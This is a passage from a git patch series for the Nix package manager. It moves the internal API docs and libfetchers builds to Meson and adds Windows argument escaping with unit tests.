-AC_ARG_ENABLE(internal-api-docs, AS_HELP_STRING([--enable-internal-api-docs],[Build API docs for Nix's internal unstable C++ interfaces]),
-  ENABLE_INTERNAL_API_DOCS=$enableval, ENABLE_INTERNAL_API_DOCS=no)
-AC_SUBST(ENABLE_INTERNAL_API_DOCS)
-
 AC_ARG_ENABLE(external-api-docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's external unstable C interfaces]),
   ENABLE_EXTERNAL_API_DOCS=$enableval, ENABLE_EXTERNAL_API_DOCS=no)
 AC_SUBST(ENABLE_EXTERNAL_API_DOCS)
diff --git a/doc/internal-api/local.mk b/doc/internal-api/local.mk
deleted file mode 100644
index be9b7bb55f4..00000000000
--- a/doc/internal-api/local.mk
+++ /dev/null
@@ -1,7 +0,0 @@
-$(docdir)/internal-api/html/index.html $(docdir)/internal-api/latex: $(d)/doxygen.cfg src/**/*.hh
-	mkdir -p $(docdir)/internal-api
-	{ cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/internal-api" ; } | doxygen -
-
-# Generate the HTML API docs for Nix's unstable internal interfaces.
-.PHONY: internal-api-html
-internal-api-html: $(docdir)/internal-api/html/index.html
diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md
index 6e7c0a9679a..a5e2bfa837d 100644
--- a/doc/manual/src/contributing/documentation.md
+++ b/doc/manual/src/contributing/documentation.md
@@ -196,15 +196,17 @@ You can also build and view it yourself:
 [Doxygen API documentation]: https://hydra.nixos.org/job/nix/master/internal-api-docs/latest/download-by-type/doc/internal-api-docs
 
 ```console
-# nix build .#hydraJobs.internal-api-docs
-# xdg-open ./result/share/doc/nix/internal-api/html/index.html
+$ nix build .#hydraJobs.internal-api-docs
+$ xdg-open ./result/share/doc/nix/internal-api/html/index.html
 ```
 
 or inside `nix-shell` or `nix develop`:
 
-```
-# make internal-api-html
-# xdg-open ./outputs/doc/share/doc/nix/internal-api/html/index.html
+```console
+$ mesonConfigurePhase
+$ cd build
+$ ninja src/internal-api-docs/html
+$ xdg-open src/internal-api-docs/html/index.html
 ```
 
 ## C API documentation
diff --git a/flake.nix b/flake.nix
index 2b0e3c61382..77b0870a276 100644
--- a/flake.nix
+++ b/flake.nix
@@ -202,6 +202,15 @@
               ;
           };
 
+
+          nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix {
+            inherit
+              fileset
+              stdenv
+              versionSuffix
+              ;
+          };
+
           # See https://github.com/NixOS/nixpkgs/pull/214409
           # Remove when fixed in this flake's nixpkgs
           pre-commit =
@@ -279,6 +288,7 @@
           # system, we should reenable these.
           #"nix-util" = { };
           #"nix-store" = { };
+          "nix-internal-api-docs" = { };
         }
         // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
         dockerImage =
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index 6c07e65d41c..235752979c9 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -124,11 +124,7 @@ in
   };
 
   # API docs for Nix's unstable internal C++ interfaces.
-  internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
-    inherit fileset;
-    doBuild = false;
-    enableInternalAPIDocs = true;
-  };
+  internal-api-docs = nixpkgsFor.x86_64-linux.native.nix-internal-api-docs;
 
   # API docs for Nix's C bindings.
   external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
diff --git a/meson.build b/meson.build
index f1ee7a57111..95a6665a727 100644
--- a/meson.build
+++ b/meson.build
@@ -9,3 +9,4 @@ project('nix-dev-shell', 'cpp',
 subproject('libutil')
 subproject('libstore')
 subproject('perl')
+subproject('internal-api-docs')
diff --git a/package.nix b/package.nix
index cb95542355e..64096c7aa70 100644
--- a/package.nix
+++ b/package.nix
@@ -93,9 +93,8 @@
 # - readline
 , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline"
 
-# Whether to build the internal/external API docs, can be done separately from
+# Whether to build the external API docs, can be done separately from
 # everything else.
-, enableInternalAPIDocs ? forDevShell
 , enableExternalAPIDocs ? forDevShell
 
 # Whether to install unit tests. This is useful when cross compiling
@@ -185,11 +184,9 @@ in {
           ./scripts/local.mk
         ] ++ lib.optionals buildUnitTests [
           ./doc/manual
-        ] ++ lib.optionals enableInternalAPIDocs [
-          ./doc/internal-api
         ] ++ lib.optionals enableExternalAPIDocs [
           ./doc/external-api
-        ] ++ lib.optionals (enableInternalAPIDocs || enableExternalAPIDocs) [
+        ] ++ lib.optionals enableExternalAPIDocs [
           # Source might not be compiled, but still must be available
           # for Doxygen to gather comments.
           (fileset.difference ./src ./src/perl)
@@ -207,7 +204,7 @@ in {
     ++ lib.optional doBuild "dev"
     # If we are doing just build or just docs, the one thing will use
     # "out". We only need additional outputs if we are doing both.
-    ++ lib.optional (doBuild && (enableManual || enableInternalAPIDocs || enableExternalAPIDocs)) "doc"
+    ++ lib.optional (doBuild && (enableManual || enableExternalAPIDocs)) "doc"
     ++ lib.optional installUnitTests "check"
     ++ lib.optional doCheck "testresults"
     ;
@@ -231,7 +228,7 @@ in {
   ] ++ lib.optionals (doInstallCheck || enableManual) [
     jq # Also for custom mdBook preprocessor.
   ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux
-    ++ lib.optional (enableInternalAPIDocs || enableExternalAPIDocs) doxygen
+    ++ lib.optional enableExternalAPIDocs doxygen
   ;
 
   buildInputs = lib.optionals doBuild [
@@ -294,7 +291,6 @@ in {
     (lib.enableFeature doBuild "build")
     (lib.enableFeature buildUnitTests "unit-tests")
     (lib.enableFeature doInstallCheck "functional-tests")
-    (lib.enableFeature enableInternalAPIDocs "internal-api-docs")
     (lib.enableFeature enableExternalAPIDocs "external-api-docs")
     (lib.enableFeature enableManual "doc-gen")
     (lib.enableFeature enableGC "gc")
@@ -324,7 +320,6 @@ in {
   '';
 
   installTargets = lib.optional doBuild "install"
-    ++ lib.optional enableInternalAPIDocs "internal-api-html"
     ++ lib.optional enableExternalAPIDocs "external-api-html";
 
   installFlags = "sysconfdir=$(out)/etc";
@@ -349,11 +344,7 @@ in {
   ) + lib.optionalString enableManual ''
     mkdir -p ''${!outputDoc}/nix-support
     echo "doc manual ''${!outputDoc}/share/doc/nix/manual" >> ''${!outputDoc}/nix-support/hydra-build-products
-  '' + lib.optionalString enableInternalAPIDocs ''
-    mkdir -p ''${!outputDoc}/nix-support
-    echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products
-  ''
-    + lib.optionalString enableExternalAPIDocs ''
+  '' + lib.optionalString enableExternalAPIDocs ''
     mkdir -p ''${!outputDoc}/nix-support
     echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products
   '';
diff --git a/doc/internal-api/.gitignore b/src/internal-api-docs/.gitignore
similarity index 100%
rename from doc/internal-api/.gitignore
rename to src/internal-api-docs/.gitignore
diff --git a/src/internal-api-docs/.version b/src/internal-api-docs/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/internal-api-docs/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/doc/internal-api/doxygen.cfg.in b/src/internal-api-docs/doxygen.cfg.in
similarity index 82%
rename from doc/internal-api/doxygen.cfg.in
rename to src/internal-api-docs/doxygen.cfg.in
index 6c6c325bdc9..9e74255813c 100644
--- a/doc/internal-api/doxygen.cfg.in
+++ b/src/internal-api-docs/doxygen.cfg.in
@@ -12,7 +12,9 @@ PROJECT_NAME           = "Nix"
 # could be handy for archiving the generated documentation or if some version
 # control system is used.
 
-PROJECT_NUMBER         = @PACKAGE_VERSION@
+PROJECT_NUMBER         = @PROJECT_NUMBER@
+
+OUTPUT_DIRECTORY       = @OUTPUT_DIRECTORY@
 
 # Using the PROJECT_BRIEF tag one can provide an optional one line description
 # for a project that appears at the top of each page and should give viewer a
@@ -36,27 +38,27 @@ GENERATE_LATEX         = NO
 # so they can expand variables despite configure variables.
 
 INPUT                  = \
-  src/libcmd \
-  src/libexpr \
-  src/libexpr/flake \
-  tests/unit/libexpr \
-  tests/unit/libexpr/value \
-  tests/unit/libexpr/test \
-  tests/unit/libexpr/test/value \
-  src/libexpr/value \
-  src/libfetchers \
-  src/libmain \
-  src/libstore \
-  src/libstore/build \
-  src/libstore/builtins \
-  tests/unit/libstore \
-  tests/unit/libstore/test \
-  src/libutil \
-  tests/unit/libutil \
-  tests/unit/libutil/test \
-  src/nix \
-  src/nix-env \
-  src/nix-store
+  @src@/src/libcmd \
+  @src@/src/libexpr \
+  @src@/src/libexpr/flake \
+  @src@/tests/unit/libexpr \
+  @src@/tests/unit/libexpr/value \
+  @src@/tests/unit/libexpr/test \
+  @src@/tests/unit/libexpr/test/value \
+  @src@/src/libexpr/value \
+  @src@/src/libfetchers \
+  @src@/src/libmain \
+  @src@/src/libstore \
+  @src@/src/libstore/build \
+  @src@/src/libstore/builtins \
+  @src@/tests/unit/libstore \
+  @src@/tests/unit/libstore/test \
+  @src@/src/libutil \
+  @src@/tests/unit/libutil \
+  @src@/tests/unit/libutil/test \
+  @src@/src/nix \
+  @src@/src/nix-env \
+  @src@/src/nix-store
 
 # If the MACRO_EXPANSION tag is set to YES, doxygen will expand all macro names
 # in the source code. If set to NO, only conditional compilation will be
diff --git a/src/internal-api-docs/meson.build b/src/internal-api-docs/meson.build
new file mode 100644
index 00000000000..2568c56cf4c
--- /dev/null
+++ b/src/internal-api-docs/meson.build
@@ -0,0 +1,31 @@
+project('nix-internal-api-docs',
+  version : files('.version'),
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+fs = import('fs')
+
+doxygen_cfg = configure_file(
+  input : 'doxygen.cfg.in',
+  output : 'doxygen.cfg',
+  configuration : {
+    'PROJECT_NUMBER': meson.project_version(),
+    'OUTPUT_DIRECTORY' : meson.current_build_dir(),
+    'src' : fs.parent(fs.parent(meson.project_source_root())),
+  },
+)
+
+doxygen = find_program('doxygen', native : true, required : true)
+
+custom_target(
+  'internal-api-docs',
+  command : [ doxygen , doxygen_cfg ],
+  input : [
+    doxygen_cfg,
+  ],
+  output : 'html',
+  install : true,
+  install_dir : get_option('datadir') / 'doc/nix/internal-api',
+  build_always_stale : true,
+)
diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix
new file mode 100644
index 00000000000..bb20a68d3fb
--- /dev/null
+++ b/src/internal-api-docs/package.nix
@@ -0,0 +1,56 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, doxygen
+
+# Configuration Options
+
+, versionSuffix ? ""
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "nix-internal-api-docs";
+  version = lib.fileContents ./.version + versionSuffix;
+
+  src = fileset.toSource {
+    root = ../..;
+    fileset = let
+      cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "hh");
+    in fileset.unions [
+      ./meson.build
+      ./doxygen.cfg.in
+      # Source is not compiled, but still must be available for Doxygen
+      # to gather comments.
+      (cpp ../.)
+      (cpp ../../tests/unit)
+    ];
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    doxygen
+  ];
+
+  postUnpack = ''
+    sourceRoot=$sourceRoot/src/internal-api-docs
+  '';
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${finalAttrs.version} > .version
+    '';
+
+  enableParallelBuilding = true;
+
+  strictDeps = true;
+
+  meta = {
+    platforms = lib.platforms.all;
+  };
+})

From b11cf8166f63fa061d98cd5812a94234fe974845 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Mon, 17 Jun 2024 13:12:28 -0700
Subject: [PATCH 366/528] Format runProgram declaration

---
 src/libutil/windows/processes.cc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index bb796ce2e68..1d8035c62c0 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -78,8 +78,8 @@ int Pid::wait()
 }
 
 // TODO: Merge this with Unix's runProgram since it's identical logic.
-std::string runProgram(Path program, bool lookupPath, const Strings & args,
-    const std::optional<std::string> & input, bool isInteractive)
+std::string runProgram(
+    Path program, bool lookupPath, const Strings & args, const std::optional<std::string> & input, bool isInteractive)
 {
     auto res = runProgram(RunOptions{
         .program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive});

From 706edf26eb3ec1781afe16c925db5b7071494539 Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Wed, 5 Jun 2024 21:36:18 -0400
Subject: [PATCH 367/528] build: meson for libfetchers

---
 flake.nix                   |  12 +++
 maintainers/hydra.nix       |   1 +
 meson.build                 |   1 +
 src/libfetchers/.version    |   1 +
 src/libfetchers/meson.build | 141 ++++++++++++++++++++++++++++++++++++
 src/libfetchers/package.nix | 106 +++++++++++++++++++++++++++
 src/libstore/meson.build    |   5 +-
 src/libutil/package.nix     |   1 +
 8 files changed, 266 insertions(+), 2 deletions(-)
 create mode 120000 src/libfetchers/.version
 create mode 100644 src/libfetchers/meson.build
 create mode 100644 src/libfetchers/package.nix

diff --git a/flake.nix b/flake.nix
index 77b0870a276..5c8d84a7566 100644
--- a/flake.nix
+++ b/flake.nix
@@ -180,6 +180,15 @@
             busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
           };
 
+          nix-fetchers = final.callPackage ./src/libfetchers/package.nix {
+            inherit
+              fileset
+              stdenv
+              officialRelease
+              versionSuffix
+              ;
+          };
+
           nix =
             final.callPackage ./package.nix {
               inherit
@@ -288,6 +297,7 @@
           # system, we should reenable these.
           #"nix-util" = { };
           #"nix-store" = { };
+          #"nix-fetchers" = { };
           "nix-internal-api-docs" = { };
         }
         // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
@@ -351,12 +361,14 @@
           mesonFlags =
             map (transformFlag "libutil") pkgs.nix-util.mesonFlags
             ++ map (transformFlag "libstore") pkgs.nix-store.mesonFlags
+            ++ map (transformFlag "libfetchers") pkgs.nix-fetchers.mesonFlags
             ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nix-perl-bindings.mesonFlags)
             ;
 
           nativeBuildInputs = attrs.nativeBuildInputs or []
             ++ pkgs.nix-util.nativeBuildInputs
             ++ pkgs.nix-store.nativeBuildInputs
+            ++ pkgs.nix-fetchers.nativeBuildInputs
             ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs
             ++ [
               modular.pre-commit.settings.package
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index 235752979c9..293dee5cdac 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -37,6 +37,7 @@ let
     "nix"
     "nix-util"
     "nix-store"
+    "nix-fetchers"
   ];
 in
 {
diff --git a/meson.build b/meson.build
index 95a6665a727..ebad238b1fc 100644
--- a/meson.build
+++ b/meson.build
@@ -8,5 +8,6 @@ project('nix-dev-shell', 'cpp',
 
 subproject('libutil')
 subproject('libstore')
+subproject('libfetchers')
 subproject('perl')
 subproject('internal-api-docs')
diff --git a/src/libfetchers/.version b/src/libfetchers/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libfetchers/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
new file mode 100644
index 00000000000..cab8d63eb22
--- /dev/null
+++ b/src/libfetchers/meson.build
@@ -0,0 +1,141 @@
+project('nix-fetchers', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+configdata = configuration_data()
+
+nix_util = dependency('nix-util')
+if nix_util.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_util
+else
+  deps_public += nix_util
+endif
+
+nix_store = dependency('nix-store')
+if nix_store.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_store
+else
+  deps_public += nix_store
+endif
+
+
+nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
+deps_public += nlohmann_json
+
+libgit2 = dependency('libgit2')
+deps_public += libgit2
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  # '-include', 'config-fetchers.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'attrs.cc',
+  'cache.cc',
+  'fetch-settings.cc',
+  'fetch-to-store.cc',
+  'fetchers.cc',
+  'filtering-source-accessor.cc',
+  'git.cc',
+  'git-utils.cc',
+  'github.cc',
+  'indirect.cc',
+  'mercurial.cc',
+  'mounted-source-accessor.cc',
+  'path.cc',
+  'store-path-accessor.cc',
+  'registry.cc',
+  'tarball.cc',
+)
+
+headers = files(
+  'attrs.hh',
+  'cache.hh',
+  'fetch-settings.hh',
+  'fetch-to-store.hh',
+  'filtering-source-accessor.hh',
+  'git-utils.hh',
+  'mounted-source-accessor.hh',
+  'fetchers.hh',
+  'registry.hh',
+  'store-path-accessor.hh',
+  'tarball.hh',
+)
+
+this_library = library(
+  'nixfetchers',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires = []
+if nix_util.type_name() == 'internal'
+  # `requires` cannot contain declared dependencies (from the
+  # subproject), so we need to do this manually
+  requires += 'nix-util'
+endif
+if nix_store.type_name() == 'internal'
+  requires += 'nix-store'
+endif
+requires += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires,
+  requires_private : deps_private,
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_directories('.'),
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : [nix_util, nix_store],
+))
diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix
new file mode 100644
index 00000000000..80025603082
--- /dev/null
+++ b/src/libfetchers/package.nix
@@ -0,0 +1,106 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+, nix-store
+, nlohmann_json
+, libgit2
+, man
+
+# Configuration Options
+
+, versionSuffix ? ""
+, officialRelease ? false
+
+# Check test coverage of Nix. Probably want to use with with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+
+# Avoid setting things that would interfere with a functioning devShell
+, forDevShell ? false
+}:
+
+let
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-fetchers";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    libgit2
+  ];
+
+  propagatedBuildInputs = [
+    nix-store
+    nix-util
+    nlohmann_json
+  ];
+
+  preConfigure =
+    # "Inline" .version so its not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  postInstall =
+    # Remove absolute path to boost libs
+    ''
+    '';
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
+  # to work with `strictDeps`.
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*-tab.*" ];
+
+  hardeningDisable = ["fortify"];
+})
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index c9c6f66f15e..a605b43e1a6 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -425,12 +425,13 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = deps_public
+requires = []
 if nix_util.type_name() == 'internal'
   # `requires` cannot contain declared dependencies (from the
   # subproject), so we need to do this manually
-  requires = [ 'nix-util' ] + requires
+  requires += 'nix-util'
 endif
+requires += deps_public
 
 import('pkgconfig').generate(
   this_library,
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index dd93e5663e0..b36e3879c21 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -72,6 +72,7 @@ mkDerivation (finalAttrs: {
   ;
 
   propagatedBuildInputs = [
+    boost.dev
     libarchive
     nlohmann_json
   ];

From 4662e7d8568f55f7f56c55e7976b68a25824d1a3 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Mon, 17 Jun 2024 14:57:57 -0700
Subject: [PATCH 368/528] Implement windowsEscape

---
 src/libutil/windows/processes.cc | 48 +++++++++++++++++++++++++++++++-
 1 file changed, 47 insertions(+), 1 deletion(-)

diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index 1d8035c62c0..cf1949aa252 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -164,6 +164,52 @@ AutoCloseFD nullFD()
     return nul;
 }
 
+// Adapted from
+// https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/
+std::string windowsEscape(const std::string & str, bool cmd)
+{
+    // TODO: This doesn't handle cmd.exe escaping.
+    if (cmd) {
+        throw UnimplementedError("cmd.exe escaping is not implemented");
+    }
+
+    if (str.find_first_of(" \t\n\v\"") == str.npos && !str.empty()) {
+        // No need to escape this one, the nonempty contents don't have a special character
+        return str;
+    }
+    std::string buffer;
+    // Add the opening quote
+    buffer += '"';
+    for (auto iter = str.begin();; ++iter) {
+        size_t backslashes = 0;
+        while (iter != str.end() && *iter == '\\') {
+            ++iter;
+            ++backslashes;
+        }
+
+        // We only escape backslashes if:
+        // - They come immediately before the closing quote
+        // - They come immediately before a quote in the middle of the string
+        // Both of these cases break the escaping if not handled. Otherwise backslashes are fine as-is
+        if (iter == str.end()) {
+            // Need to escape each backslash
+            buffer.append(backslashes * 2, '\\');
+            // Exit since we've reached the end of the string
+            break;
+        } else if (*iter == '"') {
+            // Need to escape each backslash and the intermediate quote character
+            buffer.append(backslashes * 2, '\\');
+            buffer += "\\\"";
+        } else {
+            // Don't escape the backslashes since they won't break the delimiter
+            buffer.append(backslashes, '\\');
+            buffer += *iter;
+        }
+    }
+    // Add the closing quote
+    return buffer + '"';
+}
+
 Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & out, Pipe & in)
 {
     // Setup pipes.
@@ -203,7 +249,7 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou
     for (const auto & arg : options.args) {
         // TODO: This isn't the right way to escape windows command
         // See https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw
-        cmdline += ' ' + shellEscape(arg);
+        cmdline += ' ' + windowsEscape(arg, false);
     }
 
     PROCESS_INFORMATION procInfo = {0};

From d7537f695515339f811da73c98b64bb4e2e7dc9c Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Mon, 17 Jun 2024 14:58:17 -0700
Subject: [PATCH 369/528] Implement initial spawn tests (just testing
 windowsEscape for now)

---
 tests/unit/libutil/spawn.cc | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)
 create mode 100644 tests/unit/libutil/spawn.cc

diff --git a/tests/unit/libutil/spawn.cc b/tests/unit/libutil/spawn.cc
new file mode 100644
index 00000000000..6d9821f4e6f
--- /dev/null
+++ b/tests/unit/libutil/spawn.cc
@@ -0,0 +1,35 @@
+#include <gtest/gtest.h>
+
+#include "processes.hh"
+
+namespace nix {
+/*
+TEST(SpawnTest, spawnEcho)
+{
+auto output = runProgram(RunOptions{.program = "echo", .args = {}});
+}
+*/
+
+#ifdef _WIN32
+std::string windowsEscape(const std::string & str, bool cmd);
+
+TEST(SpawnTest, windowsEscape)
+{
+    auto empty = windowsEscape("", false);
+    ASSERT_EQ(empty, R"("")");
+    // There's no quotes in this argument so the input should equal the output
+    auto backslashStr = R"(\\\\)";
+    auto backslashes = windowsEscape(backslashStr, false);
+    ASSERT_EQ(backslashes, backslashStr);
+
+    auto nestedQuotes = windowsEscape(R"(he said: "hello there")", false);
+    ASSERT_EQ(nestedQuotes, R"("he said: \"hello there\"")");
+
+    auto middleQuote = windowsEscape(R"( \\\" )", false);
+    ASSERT_EQ(middleQuote, R"(" \\\\\\\" ")");
+
+    auto space = windowsEscape("hello world", false);
+    ASSERT_EQ(space, R"("hello world")");
+}
+#endif
+}

From 4f6e3b940255053cd51e566416327c6120851075 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Mon, 17 Jun 2024 18:44:23 -0700
Subject: [PATCH 370/528] Implement tests for lookupPathForProgram and fix bugs
 caught by tests

---
 src/libutil/windows/processes.cc |  8 ++++----
 tests/unit/libutil/spawn.cc      | 10 +++++++++-
 2 files changed, 13 insertions(+), 5 deletions(-)

diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index cf1949aa252..a1104fa1ee1 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -94,7 +94,7 @@ std::string runProgram(
 Path lookupPathForProgram(const Path & program)
 {
     if (program.find('/') != program.npos || program.find('\\') != program.npos) {
-        throw Error("program '%1%' partially specifies its path", program);
+        throw UsageError("program '%1%' partially specifies its path", program);
     }
 
     // Possible extensions.
@@ -107,8 +107,9 @@ Path lookupPathForProgram(const Path & program)
     }
 
     // Look through each directory listed in $PATH.
-    for (const std::string & dir : tokenizeString<Strings>(*getEnv("PATH"), ";")) {
-        Path candidate = canonPath(dir) + '/' + program;
+    for (const std::string & dir : tokenizeString<Strings>(*path, ";")) {
+        // TODO: This should actually be canonPath(dir), but that ends up appending two drive paths
+        Path candidate = dir + "/" + program;
         for (const auto ext : exts) {
             if (pathExists(candidate + ext)) {
                 return candidate;
@@ -408,5 +409,4 @@ bool statusOk(int status)
 {
     return status == 0;
 }
-
 }
diff --git a/tests/unit/libutil/spawn.cc b/tests/unit/libutil/spawn.cc
index 6d9821f4e6f..e84de18f1e8 100644
--- a/tests/unit/libutil/spawn.cc
+++ b/tests/unit/libutil/spawn.cc
@@ -6,11 +6,19 @@ namespace nix {
 /*
 TEST(SpawnTest, spawnEcho)
 {
-auto output = runProgram(RunOptions{.program = "echo", .args = {}});
+auto output = runProgram(RunOptions{.program = "cmd", .lookupPath = true, .args = {"/C", "echo \"hello world\""}});
+std::cout << output.second << std::endl;
 }
 */
 
 #ifdef _WIN32
+Path lookupPathForProgram(const Path & program);
+TEST(SpawnTest, pathSearch)
+{
+    ASSERT_NO_THROW(lookupPathForProgram("cmd"));
+    ASSERT_NO_THROW(lookupPathForProgram("cmd.exe"));
+    ASSERT_THROW(lookupPathForProgram("C:/System32/cmd.exe"), UsageError);
+}
 std::string windowsEscape(const std::string & str, bool cmd);
 
 TEST(SpawnTest, windowsEscape)

From ff1fc780d24b0916ac8ffaa884dd3096f1d9aac7 Mon Sep 17 00:00:00 2001
From: Mingye Wang <arthur200126@gmail.com>
Date: Tue, 18 Jun 2024 12:05:59 +0800
Subject: [PATCH 371/528] optimize-store.cc: Update macos exclusion comments

#2230 broadened the scope of macOS hardlink exclusion but did not change the comments. This was a little confusing for me, so I figured the comments should be updated.
---
 src/libstore/optimise-store.cc | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/libstore/optimise-store.cc b/src/libstore/optimise-store.cc
index 2477cf0c020..e9b6d2d508b 100644
--- a/src/libstore/optimise-store.cc
+++ b/src/libstore/optimise-store.cc
